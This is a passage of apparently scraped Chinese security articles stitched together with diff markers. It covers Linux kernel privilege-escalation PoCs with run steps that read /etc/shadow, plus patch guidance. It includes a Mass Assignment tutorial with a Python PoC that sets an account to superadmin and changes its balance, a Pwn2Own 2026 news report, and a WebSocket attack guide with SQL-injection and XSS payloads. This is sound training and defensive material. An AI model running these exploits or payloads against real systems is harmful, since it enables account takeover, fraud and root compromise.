<table><thead><tr><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">漏洞</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">GitHub仓库</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">关键文件</span></section></th></tr></thead><tbody><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">DirtyAH6</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">https://github.com/manizada/DirtyAH6</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">exploit/poc.c</span></code><section><span leaf=""> + </span><code><span leaf="">Makefile</span></code></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">TUNderflow</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">https://github.com/manizada/TUNderflow</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">exploit/*.c</span></code><section><span leaf=""> + </span><code><span leaf="">Makefile</span></code></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">PPPoEject</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">https://github.com/manizada/PPPoEject</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">exploit/*.c</span></code><section><span leaf=""> + </span><code><span leaf="">Makefile</span></code></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">DiagSpill</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">https://github.com/manizada/DiagSpill</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">exploit/*.c</span></code><section><span leaf=""> + </span><code><span leaf="">Makefile</span></code></section></td></tr></tbody></table>
|
||||
**快速验证方法**
|
||||
（以DirtyAH6为例）：
|
||||
```
|
||||
# 克隆仓库git clone https://github.com/manizada/DirtyAH6cd DirtyAH6# 编译PoC（需要 kernel-headers 和 gcc）make# 以普通用户运行（目标系统需满足利用条件）./exploit/dirtyah6_poc# 验证提权id # 确认 uid=0cat /etc/shadow # 读取shadow文件证明root权限
|
||||
```
|
||||
## 四、影响范围与修复方案
|
||||
### 影响范围
|
||||
|
||||
以下Linux发行版默认内核配置会受到影响：
|
||||
- **Ubuntu**
|
||||
22.04/24.04 LTS（内核 < 6.12.109）
|
||||
|
||||
- **Fedora**
|
||||
43（内核 < 6.12.109）
|
||||
|
||||
- **Debian**
|
||||
（部分内核分支）
|
||||
|
||||
- **CentOS / Rocky Linux / AlmaLinux**
|
||||
8.x 和 9.x（见各发行版SA）
|
||||
|
||||
- **所有使用容器共享宿主机内核的多租户环境**
|
||||
（K8s、VM共宿等场景风险极高）
|
||||
|
||||
### 修复方案
|
||||
|
||||
**方案一（首选）：升级内核**
|
||||
```
|
||||
# Ubuntu/Debiansudo apt update && sudo apt install linux-image-$(uname -r)# Fedorasudo dnf update kernel# 检查当前内核版本uname -r
|
||||
```
|
||||
|
||||
**方案二（缓解）：禁用非特权用户命名空间**
|
||||
如果暂无法升级内核，可通过以下方式切断 DirtyAH6、TUNderflow、PPPoEject 的利用路径：
|
||||
```
|
||||
# 临时缓解（重启失效）sysctl -w kernel.unprivileged_userns_clone=0sysctl -w net.ipv6.conf.all.disable_ipv6=1 # 禁用IPv6（阻断DirtyAH6）# 永久缓解echo 'kernel.unprivileged_userns_clone=0' >> /etc/sysctl.d/99-lpe-quartet.conf
|
||||
```
|
||||
|
||||
**方案三（针对DiagSpill）：禁用SCTP（若无业务需求）**
|
||||
```
|
||||
# 确认是否加载sctp模块lsmod | grep sctp# 如无业务需求，列入黑名单echo "blacklist sctp" | sudo tee /etc/modprobe.d/sctp-blacklist.confsudo modprobe -r sctp 2>/dev/null || true
|
||||
```
|
||||
## 五、漏洞验证与排查
|
||||
|
||||
管理员可通过以下命令确认系统是否受影响：
|
||||
```
|
||||
# 1. 检查内核版本是否低于 6.12.109uname -r# 2. 检查是否启用了非特权用户命名空间cat /proc/sys/kernel/unprivileged_userns_clone# 3. 检查IPv6和IPsec/AH6是否启用ip6tables -L -n 2>/dev/null || echo "IPv6 not active"# 4. 检查SCTP是否加载lsmod | grep sctp# 5. 检查TUN设备是否可用ls -la /dev/net/tun
|
||||
```
|
||||
## 六、总结与趋势预测
|
||||
|
||||
**为什么这四个漏洞同时爆发？**
|
||||
表面上是独立漏洞，背后是Linux内核在网络子系统长期积累的技术债务。IPsec AH6、TUN/TAP、PPPoE、SCTP都是相对"老旧"的组件，代码维护不活跃，边界情况容易被忽视。本次四重奏同时公开PoC，标志着**漏洞武器化门槛已降至"下载-编译-运行"的三步**
|
||||
。
|
||||
|
||||
**未来趋势：**
|
||||
1. **容器逃逸+本地提权组合**
|
||||
将成为云环境横向移动的标准路径。本地root≈宿主机root，配合容器逃逸漏洞（如runC CVE）可实现一键控制整个节点。
|
||||
|
||||
1. **内核安全研究方向转向**
|
||||
。随着内核直接漏洞披露频率加快，研究者注意力正在向eBPF supervisor调用、io_uring等新型子系统转移。
|
||||
|
||||
1. **发行版内核碎片化加剧**
|
||||
。Ubuntu、Fedora等维护各自内核分支，补丁推送时间差将产生大量"灰色地带"主机——这是攻击者的狩猎场。
|
||||
|
||||
**给管理员的一句话**
|
||||
：不要等，重启之前先拿shell。
|
||||
|
||||
**版权声明**
|
||||
：本文由华盟网原创发布，保留所有权利。配图由华盟网授权使用。
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621549&idx=1&sn=21c4b072726d2387d562109ada6b9bbb&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621944&idx=1&sn=3cc6dc9876a20466d4ec3634deb80220&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650622065&idx=1&sn=09f8ae84c06d4331e71c277b177ae701&scene=21#wechat_redirect)
|
||||
> 👇 点击**阅读原文**
|
||||
，访问我的网站
|
||||
|
||||
|
||||
@@ -0,0 +1,231 @@
|
||||
# Mass Assignment 批量赋值漏洞：把普通用户悄悄升成管理员
|
||||
原创 Red Hunter
|
||||
Red Hunter 黑白之道 2026-10-09 00:40
|
||||
|
||||
|
||||
> **导语**
|
||||
：最经典的越权漏洞，往往不是 SQL 注入、也不是 ID 替换，而是 API 把客户端字段一股脑塞进数据库对象。Mass Assignment 在 Ruby on Rails、NodeJS、Spring MVC、ASP.NET MVC、PHP 框架里都有不同名字，原理一模一样，危害一样大。
|
||||
|
||||
## 一、漏洞原理
|
||||
### 1.1 一句话概括
|
||||
|
||||
服务端在接收 HTTP 请求后，把请求里的字段批量映射（bind）到数据模型对象里，没做白名单过滤，攻击者就能夹带“本不该由前端控制的字段”，比如 isadmin
|
||||
、role
|
||||
、balance
|
||||
、verified
|
||||
。
|
||||
### 1.2 典型代码结构
|
||||
|
||||
后端把 req.body
|
||||
直接展开塞进模型，类似：
|
||||
```
|
||||
// Node.js + Sequelize 危险写法User.create(req.body);
|
||||
```
|
||||
```
|
||||
# Ruby on Rails 危险写法User.new(params[:user])
|
||||
```
|
||||
```
|
||||
# Django REST framework 危险写法（默认全部字段都接受）serializer = UserSerializer(data=request.data)serializer.save()
|
||||
```
|
||||
|
||||
只要攻击者在请求里追加 isadmin=1
|
||||
或者 role=admin
|
||||
，这些字段就会和正常字段一起被写入数据库。
|
||||
|
||||
|
||||
## 二、攻击场景
|
||||
### 2.1 经典示例
|
||||
|
||||
正常请求：
|
||||
```
|
||||
POST /api/userinfousername=harsh
|
||||
```
|
||||
|
||||
正常响应：
|
||||
```
|
||||
200 OK{"username":"harsh","isadmin":false,"email":"[email protected]"}
|
||||
```
|
||||
|
||||
攻击者在请求里追加一个字段：
|
||||
```
|
||||
POST /api/userinfousername=harsh&isadmin=true
|
||||
```
|
||||
|
||||
服务端不假思索把 isadmin=true
|
||||
一起绑定，响应变成：
|
||||
```
|
||||
200 OK{"username":"harsh","isadmin":true,"email":"[email protected]"}
|
||||
```
|
||||
|
||||
UI 上刷新一下，这个普通账号已经悄悄变成管理员。一次请求，越权完成。
|
||||
### 2.2 进阶用法：覆盖敏感字段
|
||||
|
||||
不只是 isadmin
|
||||
，所有敏感字段都可以被覆盖。常见高价值字段列表：
|
||||
- 角色字段：role
|
||||
、isadmin
|
||||
、is_staff
|
||||
、level
|
||||
|
||||
- 财务字段：balance
|
||||
、credit
|
||||
、points
|
||||
、vip_expire_at
|
||||
|
||||
- 验证状态：email_verified
|
||||
、phone_verified
|
||||
、kyc_status
|
||||
|
||||
- 安全字段：mfa_enabled
|
||||
、password_changed_at
|
||||
、api_key
|
||||
|
||||
- 业务字段：subscription_plan
|
||||
、quota
|
||||
、referrer_id
|
||||
|
||||
这些字段通常前端不会渲染，也就不会被发现。但只要响应里出现过，攻击者照着塞回去就行。
|
||||
## 三、各框架里的别名
|
||||
|
||||
Mass Assignment 在不同语言里名字不一样，审计代码时要注意对应：
|
||||
<table><thead><tr><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">框架/语言</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">别名</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">典型危险写法</span></section></th></tr></thead><tbody><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Ruby on Rails</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Mass Assignment</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">User.new(params[:user])</span></code></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">NodeJS (Sequelize/Mongoose)</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Mass Assignment</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">User.create(req.body)</span></code></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Spring MVC</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Auto Binding</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">@ModelAttribute User user</span></code></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">ASP.NET MVC</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Auto Binding</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">UpdateModel(user)</span></code></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">PHP (Laravel/Eloquent)</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Object Injection / Mass Assignment</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">User::create($request->all())</span></code></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Django REST framework</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">隐式绑定（默认行为）</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">serializer.save()</span></code></td></tr></tbody></table>
|
||||
名字不同，本质相同：把外部输入直接喂进对象构造器或 ORM。
|
||||
## 四、红队测试四步法
|
||||
### 4.1 抓包
|
||||
|
||||
用 Burp Suite、Caido、mitmproxy 抓所有写操作（POST/PUT/PATCH）。重点关注：注册、修改资料、提交订单、上传文件、绑定银行卡。
|
||||
### 4.2 枚举响应字段
|
||||
|
||||
观察正常响应里出现的字段名。Vue/React 单页应用往往会把整个对象 dump 回前端，这就是字段字典。
|
||||
### 4.3 注入测试
|
||||
|
||||
把所有敏感字段挑出来，挨个塞进请求体，挨个测试。常用工具：
|
||||
- Burp Suite 的 Match & Replace
|
||||
+ Repeater
|
||||
|
||||
- Caido 的 Forge
|
||||
模块
|
||||
|
||||
- 自写脚本批量发包
|
||||
|
||||
### 4.4 验证落地
|
||||
|
||||
请求发完后，立刻刷新页面或调一次 GET 接口，确认字段值真的被服务端接受并落库。只有响应里返回新值还不够，必须看到数据库侧真的写进去，才算利用成功。
|
||||
## 五、能拿到的战果
|
||||
### 5.1 认证绕过
|
||||
|
||||
部分 OTP 接口会把 success=true
|
||||
写进对象。攻击者提交错验证码的同时塞一个 success=true
|
||||
，校验逻辑直接被绕过，二次验证形同虚设。
|
||||
### 5.2 垂直越权
|
||||
|
||||
普通用户把自己提到 admin、superadmin、root。后续可访问管理后台、审批工单、改他人资料，危害极广。
|
||||
### 5.3 财务篡改
|
||||
|
||||
电商、积分、订阅类系统最容易中招。改 balance
|
||||
、credit
|
||||
、vip_expire_at
|
||||
可以免费充会员、刷积分、改订单金额。Stripe 早期就因为这类问题出过事故。
|
||||
### 5.4 审核绕过
|
||||
|
||||
注册审核、KYC、风控标记这些字段，前端通常不暴露，但响应里往往会回显。攻击者直接把 kyc_status=approved
|
||||
、risk_level=low
|
||||
写进请求，绕过风控。
|
||||
### 5.5 横向越权
|
||||
|
||||
把字段值改成别的用户 ID（如 referrer_id=10086
|
||||
），还能配合 IDOR 做横向提权。
|
||||
## 六、PoC 示例（Python requests）
|
||||
```
|
||||
import requestsBASE = "https://target.example.com"s = requests.Session()# 1. 登录普通账号s.post(f"{BASE}/api/login", json={ "username": "lowuser", "password": "P@ssw0rd!"})# 2. 正常抓取个人资料me = s.get(f"{BASE}/api/userinfo").json()print("原始字段：", list(me.keys()))# 3. 注入 isadmin、role、balance 等敏感字段payload = dict(me) # 保留所有原始字段payload["isadmin"] = Truepayload["role"] = "superadmin"payload["balance"] = 9999999r = s.post(f"{BASE}/api/userinfo", json=payload)print("升级响应：", r.json())# 4. 验证是否真的成为 adminadmin = s.get(f"{BASE}/api/admin/ping")print("管理后台可达：", admin.status_code == 200)
|
||||
```
|
||||
|
||||
跑完这三步，如果第 4 步返回 200，说明这套接口的 Mass Assignment 已经拿下。
|
||||
## 七、真实案例
|
||||
- **GitHub 2012**
|
||||
：Rails 的 User.update_attributes
|
||||
没过滤 public_key
|
||||
字段，攻击者可以塞 SSH 公钥进任意账号，直接免密登录服务器。
|
||||
|
||||
- **Facebook 多个 Bounty**
|
||||
：信息流广告接口里 is_admin
|
||||
字段被覆盖，能进入内部广告管理面板。
|
||||
|
||||
- **HackerOne #99424**
|
||||
：某社交平台 /api/profile
|
||||
接受 is_staff=true
|
||||
，普通用户秒变运营。
|
||||
|
||||
- **某电商平台（公开报告）**
|
||||
：结算接口接受 coupon_id
|
||||
同时允许覆盖 discount_amount
|
||||
，直接免单。
|
||||
|
||||
这些案例的共同点：服务端没做白名单，前端不显示，攻击者靠抓响应字段发现入口。
|
||||
|
||||
|
||||
## 八、防御要点
|
||||
### 8.1 白名单字段
|
||||
|
||||
后端只接受明确允许的字段，其他全部丢弃。Rails 用 attr_accessible
|
||||
或 Strong Parameters；Django 用 Meta.fields
|
||||
显式声明；NodeJS 自己写 pick 工具函数。
|
||||
### 8.2 DTO / ViewModel
|
||||
|
||||
不要把 ORM 模型直接暴露给 HTTP 层。中间加一层 DTO，由 DTO 控制哪些字段可写、哪些只读。
|
||||
### 8.3 拒绝“响应即字典”
|
||||
|
||||
接口响应里不返回不该由用户控制的字段（如 isadmin
|
||||
、password_hash
|
||||
），避免给攻击者提供字段字典。
|
||||
### 8.4 关键字段二次校验
|
||||
|
||||
即使前端允许修改 email
|
||||
，也要校验是否已验证、是否唯一。isadmin
|
||||
这种字段，永远不应该出现在写接口的入参里。
|
||||
### 8.5 自动化检测
|
||||
|
||||
把 Mass Assignment 加入 CI 流程：用 Semgrep、CodeQL 规则扫 User.create(req.body)
|
||||
这类危险调用；用 DAST 工具（Burp Scanner、Caido、StackHawk）做接口层 fuzz。
|
||||
## 九、红队实战建议
|
||||
1. 测注册、改资料、上传三类接口，90% 的 Mass Assignment 出现在这三种端点里。
|
||||
|
||||
1. 关注 GraphQL 接口，GraphQL 的 input
|
||||
类型如果没显式定义字段，等于把所有字段都暴露，更容易中招。
|
||||
|
||||
1. 配合 IDOR 用，垂直越权 + 横向越权组合拳，杀伤力翻倍。
|
||||
|
||||
1. 拿到一次 PoC 就停手，立即提交报告。这类漏洞影响面大、修复快，越早提交越值钱。
|
||||
|
||||
## 十、思考题
|
||||
1. 如果一个 API 把所有字段都做了白名单，但允许 PUT /api/users/:id
|
||||
，还存在 Mass Assignment 风险吗？
|
||||
|
||||
1. GraphQL 的 input
|
||||
类型跟 REST 的 request body 在 Mass Assignment 上有什么区别？
|
||||
|
||||
1. PATCH /api/me
|
||||
这种只允许改部分字段的接口，怎么测才能避免漏报？
|
||||
|
||||
下一篇预告：day19《OAuth Misconfiguration》。
|
||||
|
||||
**素材出处**
|
||||
- learn365 day18「Mass Assignment Attack」原文
|
||||
|
||||
- OWASP Mass Assignment Cheat Sheet
|
||||
|
||||
- VirtueSecurity KB「API Mass Assignment」
|
||||
|
||||
- HackerOne 报告 #99424
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621549&idx=1&sn=21c4b072726d2387d562109ada6b9bbb&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621944&idx=1&sn=3cc6dc9876a20466d4ec3634deb80220&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650622065&idx=1&sn=09f8ae84c06d4331e71c277b177ae701&scene=21#wechat_redirect)
|
||||
> 👇 点击**阅读原文**
|
||||
，访问我的网站
|
||||
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
# Pwn2Own 32个零日漏洞被披露，奖金突破38万美元
|
||||
原创 Violet Walker
|
||||
Violet Walker 黑白之道 2026-10-09 00:40
|
||||
|
||||
|
||||
> **导语**
|
||||
：由 Trend Micro 旗下 Zero Day Initiative（ZDI）主办的 Pwn2Own Ireland 2026 在爱尔兰科克开幕，首个比赛日共完成 21 次现场攻击演示，披露 32 个此前未公开的零日漏洞，单日发放奖金达 388,500 美元。三星 Galaxy S26 成为首日被攻破次数最多的目标。
|
||||
|
||||
## 一、赛事概况
|
||||
|
||||
Pwn2Own Ireland 2026 于 10 月 6 日在爱尔兰科克（Cork）开幕，是该项赛事在爱尔兰举办的第二届。本届规模为历届最大，组委会共收到超过 60 个参赛条目，覆盖手机、智能家居、打印机、AI 基础设施、可穿戴设备等多个消费与企业级品类。首个比赛日安排了 21 次现场攻击演示，每个参赛团队需要在限定时间内完成对指定目标的完整漏洞利用链，并在现场向裁判演示从初始入口到任意代码执行的全过程。
|
||||
|
||||
赛事沿用 ZDI 一贯的协调披露机制：被攻破的厂商将在 90 天（或厂商与 ZDI 协商确定的更短周期）内获得漏洞细节，再由 ZDI 公开披露漏洞详情。攻击成功后获得的奖金与「Master of Pwn」积分决定了团队的最终排名，冠军队伍将在最后一天的 Pwn2Own 颁奖环节获得额外奖励。
|
||||
|
||||
|
||||
## 二、首日战果盘点
|
||||
|
||||
首日 21 次演示的整体结果大致如下：
|
||||
- 13 次完全成功（披露的漏洞全部为新零日）
|
||||
|
||||
- 6 次部分成功（含部分碰撞，即漏洞已被厂商知晓但尚未修复）
|
||||
|
||||
- 2 次未能完成演示，未能取得奖金
|
||||
|
||||
按品类分布看，手机与 AI 基础设施是首日最「热门」的靶子。三星 Galaxy S26 在首日被 4 支团队先后攻破 6 次（含多次碰撞），其中 Viettel Cyber Security 与 Interrupt Labs 各贡献了一次成功演示；这是 Galaxy S 系列连续第二年在 Pwn2Own Ireland 上成为手机品类的重点目标。AI 基础设施品类是本届新增亮点，LiteLLM、OpenAI Codex、Oracle Autonomous AI Database 都成为被攻破的目标。
|
||||
|
||||
按金额看，单笔最高奖金 50,000 美元由独立研究员 McCaulay Hudson 拿下，他在 Sonos Era 300 上组合使用 OOB Write 与格式化字符串漏洞完成利用。紧随其后的是多笔 40,000 美元奖金，分别由 VinSOC（Philips Hue Bridge Pro、Oracle Autonomous AI Database）、Xint（LiteLLM）、Ikotas Labs（OpenAI Codex）获得。
|
||||
## 三、几个值得关注的细节
|
||||
|
||||
首日亮点中，VinSOC 越南安全研究团队表现最为抢眼，旗下成员 Vũ Chí Thành 与 Huỳnh Đức Tin 在 Philips Hue Bridge Pro 上一口气披露了 7 个零日漏洞，是本届单场披露量最大的一次尝试。Summoning Team 的 Sina Kheirkhah 在第二轮演示中只用一个漏洞就攻破了 Lexmark CX532adwe 打印机，再次拿下 10,000 美元奖金。Interrupt Labs 凭借对 Garmin Index BPM 血压监测设备的 OOB Read + OOB Write 组合漏洞，成为本届「健康可穿戴」品类的首位获胜者。
|
||||
|
||||
碰撞情况同样普遍。Out of Bounds、VinSOC、Xint 等多支团队在演示中使用了已被厂商知晓但尚未修复的漏洞，仍可获得 ZDI 发放的部分奖金与积分，但不再计入「新零日」统计。这意味着大量厂商即便参与了 Pwn2Own，仍有未修复的旧漏洞在赛场被反复使用——这是协调披露机制下常态化的现象。
|
||||
|
||||
|
||||
## 四、与去年爱尔兰州对比
|
||||
|
||||
作为参照，2025 年首届 Pwn2Own Ireland 共披露 73 个零日漏洞、发放奖金 1,024,750 美元，其中 Summoning Team 以 187,500 美元的成绩拿下总榜第一，主要来自对 Samsung Galaxy S25、Synology DS925+ 与 CC400W 摄像头、Home Assistant Green、QNAP TS-453E 等多目标的连续攻破。2026 年仅在首个比赛日就发放 388,500 美元，按比例看本届的节奏与金额都要快于去年。考虑到本届赛程还有 2 到 3 个比赛日，最终奖金总额很可能刷新去年纪录。
|
||||
## 五、对厂商与安全行业的意义
|
||||
|
||||
Pwn2Own 一直是消费与企业级设备安全的「年度体检表」。本届首日的几个趋势值得关注：
|
||||
|
||||
一是手机厂商对供应链与第三方组件的加固仍不充分，Galaxy S26 在 4 个团队的连番攻击下都难以守住——攻击面主要来自基带、图像处理、调制解调器等组件层，而非传统意义的「系统漏洞」。
|
||||
|
||||
二是 AI 基础设施成为新的攻击面。LiteLLM、OpenAI Codex、Oracle Autonomous AI Database 等被列入靶子，意味着大模型相关的开发与部署组件已正式进入主流攻击研究的视野。
|
||||
|
||||
三是健康可穿戴品类首次纳入，意味着攻击者对个人健康数据的关注正在上升。从演示结果看，Garmin 这类设备的固件与无线协议仍存在可被利用的内存破坏漏洞。
|
||||
|
||||
随着本届赛事推进，ZDI 将在赛后统一发布技术细节与漏洞编号。对于普通用户而言，最直接的建议是关注自己所用厂商的固件更新——大多数被攻破的产品都会在 90 天披露窗口内推出修复补丁，及时升级仍是规避相关风险的最简单手段。
|
||||
|
||||
**参考链接**
|
||||
- ZDI Day One 官方记录：https://www.zerodayinitiative.com/blog/2026/10/6/pwn2own-ireland-2026-day-one-results
|
||||
|
||||
- BleepingComputer 报道：https://www.bleepingcomputer.com/news/security/hackers-exploit-32-zero-days-on-first-day-of-pwn2own-ireland/
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621549&idx=1&sn=21c4b072726d2387d562109ada6b9bbb&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621944&idx=1&sn=3cc6dc9876a20466d4ec3634deb80220&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650622065&idx=1&sn=09f8ae84c06d4331e71c277b177ae701&scene=21#wechat_redirect)
|
||||
> 👇 点击**阅读原文**
|
||||
，访问我的网站
|
||||
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
# WebSocket 协议漏洞 Part-3：明文通信、XSS 与服务端注入
|
||||
原创 Red Hunter
|
||||
Red Hunter 黑白之道 2026-10-09 00:40
|
||||
|
||||
|
||||
> **导语**
|
||||
：前两篇我们已经把握手协议、IDOR 越权和连接洪泛讲透。第三篇专门拆剩下的五个攻击面——明文传输泄漏、服务端注入、XSS payload——很多应用在 WebSocket 层完全没有做输入校验，和 HTTP 层共用同一个后端接口，等于把一块原本就脆弱的攻击面重新开了一遍口子。
|
||||
|
||||
|
||||
|
||||
## 一、未加密连接：WS 明文传输等于裸奔
|
||||
|
||||
WebSocket 协议提供两种传输方案：ws://
|
||||
（明文）和 wss://
|
||||
（加密）。差别就是 HTTP 和 HTTPS 的关系——如果应用在 WS 明文通道里传输登录态、JWT token、聊天内容，中间人攻击（MitM，Man-in-the-Middle Attack）分分钟能拿到全部数据。
|
||||
|
||||
测试流程很简单：
|
||||
1. 抓包看有没有 wss://
|
||||
，如果没有直接存在明文传输问题
|
||||
|
||||
1. 拦截 WS 连接请求，看有没有 Sec-WebSocket-Protocol
|
||||
头带敏感信息
|
||||
|
||||
1. 如果应用支持 wss://
|
||||
，尝试把连接降级回 ws://
|
||||
，看服务端会不会拒绝
|
||||
|
||||
**红队价值**
|
||||
：在公共 Wi-Fi 或已控局域网内，明文 WS 比 HTTPS 还容易抓——因为 WS 帧不经过常规代理，很多工具直接解析原始 TCP 流即可。
|
||||
## 二、服务端注入：WebSocket 直达后端接口
|
||||
|
||||
很多应用的 WebSocket 连接后直接对接后端数据库或 API。这意味着在 WebSocket 消息里注入 SQL payload，效果和 HTTP 请求里的 SQL 注入完全相同。
|
||||
|
||||
测试步骤：
|
||||
1. 注册一个账号，在 WebSocket 客户端里正常发消息
|
||||
|
||||
1. 在消息体里找 ID、用户名、房间 ID 这些参数
|
||||
|
||||
1. 把这些参数换成 SQL 注入 payload，比如 ' OR 1=1--
|
||||
|
||||
1. 看服务端返回有没有报错、延迟异常或数据泄露
|
||||
|
||||
SQL 注入只是最明显的，服务端注入还包含命令注入（OS Command Injection）、模板注入（Template Injection）、NoSQL 注入——只要后端没有单独对 WS 消息做输入校验，所有 HTTP 层的注入攻击在 WS 层照样有效。
|
||||
## 三、跨站脚本（XSS）：WS 消息写哪儿，XSS 就出在哪儿
|
||||
|
||||
WebSocket 上的 XSS 分两种场景。第一种是消息被前端回显到界面——比如聊天室、通知面板、仪表盘——攻击者发一条带 <script>
|
||||
的 WebSocket 消息，所有在线用户就会中招。第二种是盲 XSS（Blind XSS），消息被存在后台数据库里，管理员在后台面板查看时才触发。
|
||||
|
||||
实战检验步骤：
|
||||
1. 向 WebSocket 发送 XSS payload，比如 <img src=x onerror=alert(1)>
|
||||
，看能不能回显
|
||||
|
||||
1. 在 WebSocket 的 JSON body 字段里找可以注入的字段，比如 {"message":"{{xss}}"}
|
||||
格式
|
||||
|
||||
1. 如果有管理后台，攻击者往服务器写一条含 payload 的消息，等管理员后台加载
|
||||
|
||||
